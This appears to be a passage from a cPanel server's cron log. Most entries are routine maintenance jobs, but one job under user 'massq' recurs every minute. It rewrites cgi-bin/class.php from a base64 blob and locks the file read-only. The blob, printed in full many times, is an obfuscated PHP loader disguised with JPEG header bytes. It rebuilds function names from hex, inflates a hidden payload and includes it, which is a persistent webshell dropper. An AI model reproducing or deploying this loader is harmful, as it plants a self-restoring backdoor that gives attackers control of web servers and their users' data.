0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:41:01 server CROND[9164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:41:01 server CROND[9165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:42:01 server CROND[9564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:42:01 server CROND[9565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:42:01 server CROND[9566]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 03:42:01 server CROND[9567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:43:01 server CROND[9945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:43:01 server CROND[9944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:43:01 server CROND[9946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:44:01 server CROND[10347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:44:01 server CROND[10346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:44:01 server CROND[10348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:45:01 server CROND[10781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:45:01 server CROND[10782]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:45:01 server CROND[10785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:45:01 server CROND[10787]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:45:01 server CROND[10788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:45:01 server CROND[10790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:45:01 server CROND[10786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:46:01 server CROND[11669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:46:01 server CROND[11668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:46:01 server CROND[11670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:47:01 server CROND[12045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:47:01 server CROND[12046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:47:01 server CROND[12047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:48:01 server CROND[12460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:48:01 server CROND[12461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:48:01 server CROND[12462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:49:01 server CROND[12852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:49:01 server CROND[12853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:49:01 server CROND[12854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:50:01 server CROND[13265]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:50:01 server CROND[13266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:50:01 server CROND[13268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:50:01 server CROND[13279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:50:01 server CROND[13287]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:50:01 server CROND[13285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:50:01 server CROND[13286]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 03:50:01 server CROND[13280]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:50:01 server CROND[13288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:51:01 server CROND[14219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:51:01 server CROND[14220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:51:01 server CROND[14221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:52:01 server CROND[14604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:52:01 server CROND[14605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:52:01 server CROND[14606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:53:01 server CROND[15002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:53:01 server CROND[15003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:53:01 server CROND[15004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
